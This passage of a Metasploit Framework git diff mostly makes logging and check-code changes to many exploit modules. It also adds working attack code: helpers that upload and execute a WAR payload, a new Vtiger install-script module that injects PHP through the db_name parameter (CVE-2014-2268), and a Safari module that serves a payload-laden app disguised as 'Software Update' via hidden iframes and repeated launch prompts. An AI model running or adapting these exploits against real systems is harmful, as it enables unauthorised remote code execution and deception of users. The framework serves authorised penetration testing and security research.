+
+  def detect_platform(body)
+    return nil if body.blank?
+
+    i=0
+
+    body.each_line do |ln|
+      ln.chomp!
+
+      i = 1 if ln =~ /OS Name/
+
+      if i == 9 or i == 11
+        if ln.include? "Windows"
+          return 'win'
+        elsif ln.include? "Linux"
+          return 'linux'
+        elsif i==11
+          return 'unknown'
+        end
+      end
+
+      i = i+1 if i > 0
+    end
+  end
+
+  def detect_arch(body)
+    return nil if body.blank?
+
+    i=0
+    body.each_line do |ln|
+      ln.chomp!
+
+      i = 1 if ln =~ /OS Architecture/
+
+      if i==9 or i==11
+        if ln.include? 'x86'
+          return ARCH_X86
+        elsif ln.include? 'i386'
+          return ARCH_X86
+        elsif ln.include? 'i686'
+          return ARCH_X86
+        elsif ln.include? 'x86_64'
+          return ARCH_X86
+        elsif ln.include? 'amd64'
+          return ARCH_X86
+        elsif i==11
+          return 'unknown'
+        end
+      end
+
+      i = i + 1 if i > 0
+    end
+  end
+
+  def find_csrf(res = nil)
+    return "" if res.blank?
+
+    vprint_status("#{peer} - Finding CSRF token...")
+
+    body = res.body
+
+    body.each_line do |ln|
+      ln.chomp!
+      csrf_nonce = ln.index(CSRF_VAR)
+      next if csrf_nonce.nil?
+      token = ln[csrf_nonce + CSRF_VAR.length, 32]
+      return token
+    end
+
+    return ""
+  end
+
+  def generate_multipart_msg(boundary, data)
+    # Rex::MIME::Message is breaking the binary upload when trying to
+    # enforce CRLF for SMTP compatibility
+    war_multipart = "-----------------------------"
+    war_multipart << boundary
+    war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""
+    war_multipart << @app_base
+    war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
+    war_multipart << data
+    war_multipart << "\r\n-----------------------------"
+    war_multipart << boundary
+    war_multipart << "--\r\n"
+  end
+
+  def war_payload
+    payload.encoded_war({
+      :app_name => @app_base,
+      :jsp_name => @jsp_name,
+      :arch => target.arch,
+      :platform => target.platform
+    }).to_s
+  end
+
+  def send_war_payload(url, war)
+    boundary_identifier = rand_text_numeric(28)
+
+    res = send_request_cgi({
+      'uri'          => url,
+      'method'       => 'POST',
+      'ctype'        => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,
+      'user'         => datastore['USERNAME'],
+      'password'     => datastore['PASSWORD'],
+      'cookie'       => @session_id,
+      'vars_get'     => vars_get,
+      'data'         => generate_multipart_msg(boundary_identifier, war),
+    })
+
+    return res
+  end
+
+  def send_request_undeploy(url)
+    res = send_request_cgi({
+      'uri'          => url,
+      'vars_get'     => vars_get,
+      'method'       => 'POST',
+      'user'         => datastore['USERNAME'],
+      'password'     => datastore['PASSWORD'],
+      'cookie'       => @session_id
+    })
+
+    return res
+  end
+
+  def access_manager?
+    res = query_manager
+    return false unless res and res.code == 200
+    @session_id = res.get_cookies
+    @csrf_token = find_csrf(res)
+    return true
+  end
+
+  def upload_payload
+    war = war_payload
+    upload_path = normalize_uri(target_uri.path.to_s, "html", "upload")
+    vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...")
+    res = send_war_payload(upload_path, war)
+    return parse_upload_response(res)
+  end
+
+  def parse_upload_response(res)
+    unless res
+      vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]")
+      return false
+    end
+
+    if res.code < 200 or res.code >= 300
+      vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
+      vprint_error("#{peer} - Upload failed on #{upload_path} [#{res.code} #{res.message}]")
+      return false
+    end
+
+    return true
+  end
+
+  def execute_payload
+    jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp")
+
+    vprint_status("#{peer} - Executing #{jsp_path}...")
+
+    res = send_request_cgi({
+      'uri'          => jsp_path,
+      'method'       => 'GET'
+    })
+
+    return parse_execute_response(res)
+  end
+
+  def parse_execute_response(res)
+    unless res
+      vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]")
+      return false
+    end
+
+    if res and (res.code < 200 or res.code >= 300)
+      vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]")
+      return false
+    end
+
+    return true
+  end
+
+  def undeploy_app
+    undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy")
+    res = send_request_undeploy(undeploy_url)
+
+    unless res
+      vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]")
+      return false
+    end
+
+    if res and (res.code < 200 or res.code >= 300)
+      vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")
+      return false
+    end
+
+    return true
+  end
+
+end
diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb
index 6f23263acf..219a01a5d6 100644
--- a/modules/exploits/multi/http/traq_plugin_exec.rb
+++ b/modules/exploits/multi/http/traq_plugin_exec.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb
index d8cffe813e..08f3f8db30 100644
--- a/modules/exploits/multi/http/uptime_file_upload.rb
+++ b/modules/exploits/multi/http/uptime_file_upload.rb
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Appears
     end
 
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
 
   end
 
diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb
index 940ca89748..96f0297fee 100644
--- a/modules/exploits/multi/http/vbseo_proc_deutf.rb
+++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb
@@ -12,13 +12,14 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'vBSEO <= 3.6.0 proc_deutf() Remote PHP Code Injection',
+      'Name'           => 'vBSEO proc_deutf() Remote PHP Code Injection',
       'Description'    => %q{
-          This module exploits a vulnerability in the 'proc_deutf()' function
-        defined in /includes/functions_vbseocp_abstract.php. User input passed through
-        'char_repl' POST parameter isn't properly sanitized before being used in a call
-        to preg_replace() function which uses the 'e' modifier. This can be exploited to
-        inject and execute arbitrary code leveraging the PHP's complex curly syntax.
+        This module exploits a vulnerability in the 'proc_deutf()' function
+        defined in /includes/functions_vbseocp_abstract.php for vBSEO versions
+        3.6.0 and earlier. User input passed through 'char_repl' POST parameter
+        isn't properly sanitized before being used in a call to preg_replace()
+        function which uses the 'e' modifier. This can be exploited to inject
+        and execute arbitrary code leveraging the PHP's complex curly syntax.
       },
       'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/multi/http/vtiger_install_rce.rb b/modules/exploits/multi/http/vtiger_install_rce.rb
new file mode 100644
index 0000000000..dfe2bcb89f
--- /dev/null
+++ b/modules/exploits/multi/http/vtiger_install_rce.rb
@@ -0,0 +1,115 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+  # Application database configuration is overwritten
+  Rank = ManualRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Vtiger Install Unauthenticated Remote Command Execution',
+      'Description'    => %q{
+        This module exploits an arbitrary command execution vulnerability in the
+        Vtiger install script. This module is set to ManualRanking due to this
+        module overwriting the target database configuration, which may result in
+        a broken web app, and you may not be able to get a session again.
+      },
+      'Author'         =>
+        [
+          'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2014-2268' ],
+          [ 'URL', 'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html'],
+          [ 'URL', 'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html'],
+
+        ],
+      'Privileged'     => false,
+      'Platform'       => ['php'],
+      'Payload'        =>
+        {
+          'Space'       => 4000,
+          'BadChars'    => "#",
+          'DisableNops' => true,
+          'Keys'        => ['php']
+        },
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [[ 'Vtiger 6.0.0 or older', { }]],
+      'DisclosureDate' => 'Mar 5 2014',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/'])
+        ], self.class)
+  end
+
+  def exploit
+    print_status("Injecting payload...")
+    rand_arg = Rex::Text.rand_text_hex(10)
+    res = send_request_cgi({
+      'method'   => 'GET',
+      'uri'      => normalize_uri(target_uri.path, 'index.php'),
+      'headers'  => {'X-Requested-With' => rand_text_alpha(5)},
+      'vars_get' => {
+          'module'  => 'Install',
+          'view'    => 'Index',
+          'mode'    => 'Step5',
+          'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // "
+      }})
+
+    # Check timeout
+    if not res
+      print_error("Request timed out, please try again")
+      return
+    end
+
+    if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i
+      authkey   = $1
+      phpsessid = res.get_cookies
+
+      if authkey.blank?
+        print_error("No AuthKey found")
+        return
+      elsif phpsessid.blank?
+        print_error("No PHP Session ID found")
+        return
+      end
+
+      print_status("Retrieved Authkey : #{authkey}")
+      print_status("Retrieved PHPSESSID : #{phpsessid}")
+
+      send_request_cgi({
+        'method'     => 'GET',
+          'uri'      => normalize_uri(target_uri.path, 'index.php'),
+          'headers'  => {'X-Requested-With' => rand_text_alpha(5)},
+          'cookie'   => phpsessid,
+          'vars_get' =>
+            {
+              'module'   => 'Install',
+              'view'     => 'Index',
+              'mode'     => 'Step7',
+              'auth_key' => authkey
+            }
+        })
+
+        print_status("Executing payload...")
+        send_request_cgi({
+          'method'    => 'GET',
+          'uri'       => normalize_uri(target_uri.path, 'config.inc.php'),
+          'vars_get'  => { rand_arg => '1' }
+        })
+    else
+      print_error("No auth_key pattern found")
+    end
+  end
+end
diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb
index 81bdaf39c2..54790d69ea 100644
--- a/modules/exploits/multi/http/vtiger_php_exec.rb
+++ b/modules/exploits/multi/http/vtiger_php_exec.rb
@@ -57,26 +57,26 @@ class Metasploit3 < Msf::Exploit::Remote
     begin
       res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
     rescue
-      print_error("Unable to access the index.php file")
+      vprint_error("Unable to access the index.php file")
       return CheckCode::Unknown
     end
 
     if res and res.code != 200
-      print_error("Error accessing the index.php file")
+      vprint_error("Error accessing the index.php file")
       return CheckCode::Unknown
     end
 
     if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
-      print_status("vTiger CRM version: " + $1)
+      vprint_status("vTiger CRM version: " + $1)
       case $1
       when '5.4.0', '5.3.0'
-        return CheckCode::Vulnerable
+        return CheckCode::Appears
       else
-        return CheckCode::Safe
+        return CheckCode::Detected
       end
     end
 
-    return CheckCode::Unknown
+    return CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/multi/http/vtiger_soap_upload.rb b/modules/exploits/multi/http/vtiger_soap_upload.rb
index fea98bceec..989520e072 100644
--- a/modules/exploits/multi/http/vtiger_soap_upload.rb
+++ b/modules/exploits/multi/http/vtiger_soap_upload.rb
@@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
     end
 
     print_status("#{peer} - Executing payload...")
-    send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0)
+    send_request_cgi({'uri' => normalize_uri(target_uri.path, file_name)}, 0)
   end
 
   def add_attachment_soap(file_name, file_data)
@@ -170,8 +170,9 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def send_soap_request(soap_data)
     res = send_request_cgi({
-      'uri'      => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
+      'uri'      => normalize_uri(target_uri.path, 'vtigerservice.php'),
       'method'   => 'POST',
+      'vars_get' => { 'service' => 'outlook' },
       'ctype'    => 'text/xml; charset=UTF-8',
       'data'     => soap_data
     })
diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb
index d196a3a4b3..bcccbb9c2a 100644
--- a/modules/exploits/multi/http/webpagetest_upload_exec.rb
+++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
       res2 and res2.code == 200
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb
index 53bc8c0528..57ec58c718 100644
--- a/modules/exploits/multi/http/zabbix_script_exec.rb
+++ b/modules/exploits/multi/http/zabbix_script_exec.rb
@@ -60,14 +60,14 @@ class Metasploit4 < Msf::Exploit::Remote
     })
 
     if !init or init.code != 200
-      print_error("Could not connect to server")
+      vprint_error("Could not connect to server")
       return Exploit::CheckCode::Unknown
     end
 
     if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
       if $1 >= "2.0.0" and $1 <= "2.0.8"
-      print_good("Version #{$1} is vulnerable.")
-      return Exploit::CheckCode::Vulnerable
+      vprint_good("Version #{$1} is vulnerable.")
+      return Exploit::CheckCode::Appears
       end
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb
index f25f4f19d4..a0155ef1ed 100644
--- a/modules/exploits/multi/misc/openview_omniback_exec.rb
+++ b/modules/exploits/multi/misc/openview_omniback_exec.rb
@@ -83,12 +83,12 @@ class Metasploit3 < Msf::Exploit::Remote
       disconnect
 
       if !(res and res.length > 0)
-        print_status("The remote service did not reply to our request")
+        vprint_status("The remote service did not reply to our request")
         return Exploit::CheckCode::Safe
       end
 
       if (res =~ /passwd|group|resolv/)
-        print_status("The remote service is exploitable")
+        vprint_status("The remote service is exploitable")
         return Exploit::CheckCode::Vulnerable
       end
 
diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb
index 886ac215f9..05c93f2e96 100644
--- a/modules/exploits/multi/misc/pbot_exec.rb
+++ b/modules/exploits/multi/misc/pbot_exec.rb
@@ -72,13 +72,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
     response = register(sock)
     if response =~ /463/ or response =~ /464/
-      print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
+      vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
       return Exploit::CheckCode::Unknown
     end
 
     response = join(sock)
     if not response =~ /353/ and not response =~ /366/
-      print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
+      vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
       return Exploit::CheckCode::Unknown
     end
     response = pbot_login(sock)
diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
index 3341f80160..9389a464b4 100644
--- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
+++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
@@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     response = register(sock)
     if response =~ /463/ or response =~ /464/
-      print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
+      vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
       return Exploit::CheckCode::Unknown
     end
 
diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
index d802275f3f..b18a55f292 100644
--- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
+++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
@@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 
   def check
-    print_status("Checking for a vulnerable PHP version...")
+    vprint_status("Checking for a vulnerable PHP version...")
 
     #
     # Pick the URI and Cookie name
@@ -226,14 +226,14 @@ class Metasploit3 < Msf::Exploit::Remote
     php_bug = false
 
     if (not res)
-      print_status("No response from the server")
-      return Exploit::CheckCode::Safe
+      vprint_status("No response from the server")
+      return Exploit::CheckCode::Unknown # User should try again
     end
 
     http_fingerprint({ :response => res })  # check method
 
     if (res.code != 200)
-      print_status("The server returned #{res.code} #{res.message}")
+      vprint_status("The server returned #{res.code} #{res.message}")
       return Exploit::CheckCode::Safe
     end
 
@@ -246,29 +246,29 @@ class Metasploit3 < Msf::Exploit::Remote
       php_ver = php_raw.split('.')
 
       if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
-        print_status("The server runs a vulnerable version of PHP (#{php_raw})")
+        vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")
         php_bug = true
       else
-        print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
+        vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
         return Exploit::CheckCode::Safe
       end
     end
 
     # Detect the phpBB cookie name
     if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
-      print_status("The server may require a cookie name of '#{$1}_data'")
+      vprint_status("The server may require a cookie name of '#{$1}_data'")
     end
 
     if(target and target['Signature'])
       if (res.body and res.body.match(target['Signature']))
-        print_status("Detected target #{target.name}")
+        vprint_status("Detected target #{target.name}")
       else
-        print_status("Did not detect target #{target.name}")
+        vprint_status("Did not detect target #{target.name}")
       end
 
     end
 
-    return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
+    return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected
   end
 
 
diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb
index 328f86897c..0166bc45e2 100644
--- a/modules/exploits/multi/realserver/describe.rb
+++ b/modules/exploits/multi/realserver/describe.rb
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     info = http_fingerprint({ :response => res })  # check method / Custom server check
     if res and res['Server']
-      print_status("Found RTSP: #{res['Server']}")
+      vprint_status("Found RTSP: #{res['Server']}")
       return Exploit::CheckCode::Detected
     end
     Exploit::CheckCode::Safe
diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
index eb7f5454c0..8a7ac17992 100644
--- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
+++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
@@ -93,7 +93,7 @@ class Metasploit4 < Msf::Exploit::Remote
     end
 
     if res and res.code == 200 and res.headers['Server'] =~ /gSOAP/ and res.body =~ /OSExecuteResponse/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif res and res.code == 500 and (res.body =~ /Invalid Credentials/ or res.body =~ /Permission denied/)
       return Exploit::CheckCode::Detected
     elsif res and res.headers['Server'] =~ /gSOAP/
diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb
index d5ab61ad21..dc295f937a 100644
--- a/modules/exploits/multi/svn/svnserve_date.rb
+++ b/modules/exploits/multi/svn/svnserve_date.rb
@@ -85,9 +85,6 @@ class Metasploit3 < Msf::Exploit::Remote
       ], self.class)
   end
 
-  def check
-  end
-
   def brute_exploit(addresses)
     connect
 
diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb
index 28f61b6c38..935ed14075 100644
--- a/modules/exploits/osx/arkeia/type77.rb
+++ b/modules/exploits/osx/arkeia/type77.rb
@@ -61,18 +61,18 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Safe
     end
 
-    print_status("Arkeia Server Information:")
+    vprint_status("Arkeia Server Information:")
     info.each_pair { |k,v|
-      print_status("   #{k + (" " * (30-k.length))} = #{v}")
+      vprint_status("   #{k + (" " * (30-k.length))} = #{v}")
     }
 
     if (info['System'] !~ /Darwin/)
-      print_status("This module only supports Mac OS X targets")
+      vprint_status("This module only supports Mac OS X targets")
       return Exploit::CheckCode::Detected
     end
 
     if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb
new file mode 100644
index 0000000000..f1d8270b9d
--- /dev/null
+++ b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb
@@ -0,0 +1,158 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ManualRanking
+
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::BrowserExploitServer
+
+  # Note: might be nicer to do this with mounted FTP share, since we can
+  # unmount after the attack and not leave a trace on user's machine.
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Safari User-Assisted Download and Run Attack',
+      'Description'    => %q{
+        This module abuses some Safari functionality to force the download of a
+        zipped .app OSX application containing our payload. The app is then
+        invoked using a custom URL scheme. At this point, the user is presented
+        with Gatekeeper's prompt:
+
+        "APP_NAME" is an application downloaded from the internet. Are you sure you
+        want to open it?
+
+        If the user clicks "Open", the app and its payload are executed.
+
+        If the user has the "Only allow applications downloaded from Mac App Store
+        and identified developers (on by default on OS 10.8+), the user will see
+        an error dialog containing "can't be opened because it is from an unidentified
+        developer." To work around this issue, you will need to manually build and sign
+        an OSX app containing your payload with a custom URL handler called "openurl".
+
+        You can put newlines and unicode in your APP_NAME, although you must be careful not
+        to create a prompt that is too tall, or the user will not be able to click
+        the buttons, and will have to either logout or kill the CoreServicesUIAgent
+        process.
+      },
+      'License'        => MSF_LICENSE,
+      'Targets'        =>
+        [
+          [ 'Mac OS X x86 (Native Payload)',
+            {
+              'Platform' => 'osx',
+              'Arch' => ARCH_X86,
+            }
+          ],
+          [ 'Mac OS X x64 (Native Payload)',
+            {
+              'Platform' => 'osx',
+              'Arch' => ARCH_X64,
+            }
+          ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Mar 10 2014',
+      'Author'         => [ 'joev' ],
+      'BrowserRequirements' => {
+        :source  => 'script',
+        :ua_name => HttpClients::SAFARI,
+        :os_name => OperatingSystems::MAC_OSX,
+
+        # On 10.6.8 (Safari 5.x), a dialog never appears unless the user
+        # has already manually launched the dropped exe
+        :ua_ver  => lambda { |ver| ver.to_i != 5 }
+      }
+    ))
+
+    register_options([
+      OptString.new('APP_NAME', [false, "The name of the app to display", "Software Update"]),
+      OptInt.new('DELAY', [false, "Number of milliseconds to wait before trying to open", 2500]),
+      OptBool.new('LOOP', [false, "Continually display prompt until app is run", true]),
+      OptInt.new('LOOP_DELAY', [false, "Time to wait before trying to launch again", 3000]),
+      OptBool.new('CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]),
+      OptString.new('CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]),
+      OptPath.new('SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"])
+    ], self.class)
+  end
+
+  def on_request_exploit(cli, request, profile)
+    if request.uri =~ /\.zip/
+      print_status("Sending .zip containing app.")
+      seed = request.qstring['seed'].to_i
+      send_response(cli, app_zip(seed), { 'Content-Type' => 'application/zip' })
+    else
+      # send initial HTML page
+      print_status("Sending #{self.name}")
+      send_response_html(cli, generate_html)
+    end
+    handler(cli)
+  end
+
+  def generate_html
+    %Q|
+    <html><body>
+    #{datastore['CONTENT']}
+    <iframe id='f' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
+    </iframe>
+    <iframe id='f2' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
+    </iframe>
+    <script>
+    (function() {
+      var r = parseInt(Math.random() * 9999999);
+      if (#{datastore['SIGNED_APP'].present?}) r = '';
+      var f = document.getElementById('f');
+      var f2 = document.getElementById('f2');
+      f.src = "#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="+r;
+      window.setTimeout(function(){
+        var go = function() { f.src = "openurl"+r+"://a"; };
+        go();
+        if (#{datastore['LOOP']}) {
+          window.setInterval(go, #{datastore['LOOP_DELAY']});
+        };
+      }, #{datastore['DELAY']});
+      if (#{datastore['CONFUSE']}) {
+        var w = 0;
+        var ivl = window.setInterval(function(){
+          f2.src = 'ssh://ssh@ssh';
+          if (w++ > 200) clearInterval(ivl);
+        }, #{datastore['LOOP_DELAY']});
+      }
+    })();
+    </script>
+    </body></html>
+    |
+  end
+
+  def app_zip(seed)
+    if datastore['SIGNED_APP'].present?
+      print_status "Zipping custom app bundle..."
+      zip = Rex::Zip::Archive.new
+      zip.add_r(datastore['SIGNED_APP'])
+      zip.pack
+    else
+      plist_extra = %Q|
+        <key>CFBundleURLTypes</key>
+        <array>
+          <dict>
+            <key>CFBundleURLName</key>
+            <string>Local File</string>
+            <key>CFBundleURLSchemes</key>
+            <array>
+              <string>openurl#{seed}</string>
+            </array>
+          </dict>
+        </array>
+      |
+
+      my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX])
+      Msf::Util::EXE.to_osx_app(my_payload,
+        :app_name    => datastore['APP_NAME'],
+        :plist_extra => plist_extra
+      )
+    end
+  end
+end
diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb
index 5a43d1bd59..1f7a8b2f6b 100644
--- a/modules/exploits/osx/local/setuid_tunnelblick.rb
+++ b/modules/exploits/osx/local/setuid_tunnelblick.rb
@@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
 
   def check
     if not file?(datastore["Tunnelblick"])
-      print_error "openvpnstart not found"
+      vprint_error "openvpnstart not found"
       return CheckCode::Safe
     end
 
diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb
index d940379312..a7368c7b17 100644
--- a/modules/exploits/osx/local/setuid_viscosity.rb
+++ b/modules/exploits/osx/local/setuid_viscosity.rb
@@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
 
   def check
     if not file?(datastore["Viscosity"])
-      print_error "ViscosityHelper not found"
+      vprint_error "ViscosityHelper not found"
       return CheckCode::Safe
     end
 
diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb
index e4b92f24ca..0172023586 100644
--- a/modules/exploits/osx/local/sudo_password_bypass.rb
+++ b/modules/exploits/osx/local/sudo_password_bypass.rb
@@ -107,16 +107,16 @@ class Metasploit3 < Msf::Exploit::Local
       # check vn between 1.6.0 through 1.7.10p6
       # and 1.8.0 through 1.8.6p6
       if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
-        print_error "sudo version #{sudo_vn} not vulnerable."
+        vprint_error "sudo version #{sudo_vn} not vulnerable."
         return Exploit::CheckCode::Safe
       end
     else
-      print_error "sudo not detected on the system."
+      vprint_error "sudo not detected on the system."
       return Exploit::CheckCode::Safe
     end
 
     if not user_in_admin_group?
-      print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
+      vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
       return Exploit::CheckCode::Safe
     end
     # one root for you sir
diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb
index 0cdca26ede..78acb267d1 100644
--- a/modules/exploits/unix/local/setuid_nmap.rb
+++ b/modules/exploits/unix/local/setuid_nmap.rb
@@ -56,7 +56,7 @@ class Metasploit4 < Msf::Exploit::Local
   def check
     stat = session.fs.file.stat(datastore["Nmap"])
     if stat and stat.file? and stat.setuid?
-      print_good("#{stat.prettymode} #{datastore["Nmap"]}")
+      vprint_good("#{stat.prettymode} #{datastore["Nmap"]}")
       return CheckCode::Vulnerable
     end
     return CheckCode::Safe
diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb
index 56be38b558..60fbffab6f 100644
--- a/modules/exploits/unix/misc/qnx_qconn_exec.rb
+++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     # send check
     fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
-    print_status("#{@peer} - Sending check")
+    vprint_status("#{@peer} - Sending check")
     connect
     req  = "service launcher\n"
     req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
     elsif res and res =~ /QCONN/
       return Exploit::CheckCode::Detected
     else
-      return Exploit::CheckCode::Unknown
+      return Exploit::CheckCode::Safe
     end
 
   end
